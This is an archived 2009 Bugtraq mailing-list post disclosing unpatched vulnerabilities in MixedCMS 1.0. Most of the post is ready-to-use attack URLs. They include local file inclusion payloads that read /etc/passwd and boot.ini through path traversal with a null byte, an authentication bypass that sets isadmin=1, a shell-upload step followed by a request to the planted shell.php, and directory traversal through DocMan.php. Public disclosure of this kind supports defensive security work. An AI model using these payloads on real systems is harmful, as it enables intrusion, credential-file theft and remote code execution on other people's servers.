bugtraq - MixedCMS 1.0--Multiple Remote Vulnerabilities-->

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <200904211629.n3LGToIC011020@www5.securityfocus.com>
Date: Tue, 21 Apr 2009 10:29:50 -0600
From: y3nh4ck3r@...il.com
To: bugtraq@...urityfocus.com
Subject: MixedCMS 1.0--Multiple Remote Vulnerabilities-->

----------------------------------------------------
MULTIPLE REMOTE VULNERABILITIES	 Mixed CMS 1.0 
----------------------------------------------------
	
   CMS INFORMATION:

-->WEB: http://sourceforge.net/projects/mixedcms/
-->DOWNLOAD: http://sourceforge.net/projects/mixedcms/ 
-->DEMO: N/A
-->CATEGORY: CMS / Portals
-->DESCRIPTION: MixedCMS is a cms that gives easiest way to create our own website

  CMS VULNERABILITY:

-->TESTED ON: firefox 3
-->DORK: N/A
-->CATEGORY: LFI/UPLOAD-SHELL/AUTH-BYPASS/FILES DISCLOSURE
-->AFFECT VERSION:1.0
-->Discovered Bug date: 2009-04-21
-->Reported Bug date: 2009-04-21
-->Fixed bug date: Not fixed
-->Info patch: Not fixed
-->Author: YEnH4ckEr
-->mail: y3nh4ck3r[at]gmail[dot]com
-->WEB/BLOG: N/A
-->COMMENT: A mi novia Marijose...hermano,cuñada, padres (y amigos xD) por su apoyo.

-----------------------------
LOCAL FILE INCLUSION (LFI)
-----------------------------


1)http://[HOST]/[HOME_PATH]/modules/mod.php?mod=../../../../../../../boot.ini%00

2)http://127.0.0.1/[HOST]/[HOME_PATH]/modules/mod.php?mod=../../../../../etc/passwd%00

-----------------------------
SHELL UPLOAD VULNERABILITY
-----------------------------

-->shell <= 1KB.

http://[HOST]/[HOME_PATH]/modules/mod.php?mod=download&op=manager&isadmin=1

Here we add a download and upload the shell exploit.

Then, if you go to the link (Boom!):

http://[HOST]/[HOME_PATH]/modules/mod/download/archieves/shell.php

---------------------------
AUTHENTICATION BYPASS
---------------------------

Authetication is not needed (only isadmin=1 and change op/mod var to browse)

http://[HOST]/[HOME_PATH]/modules/mod.php?mod=newsfeed&op=manager&isadmin=1

------------------
FILES DISCLOSURE
------------------

http://[HOST]/[HOME_PATH]/modules/mod/download/DocMan.php?path=./../download/archieves/

Use path variable (request) to browse other paths for example:

http://127.0.0.1/[HOME_PATH]/modules/mod/download/DocMan.php?path=./../../../engine/



I'm sure that SQL Injection (or Blind) is here but with this, for what?



-------------------EOF---------------------------------->>>ENJOY IT!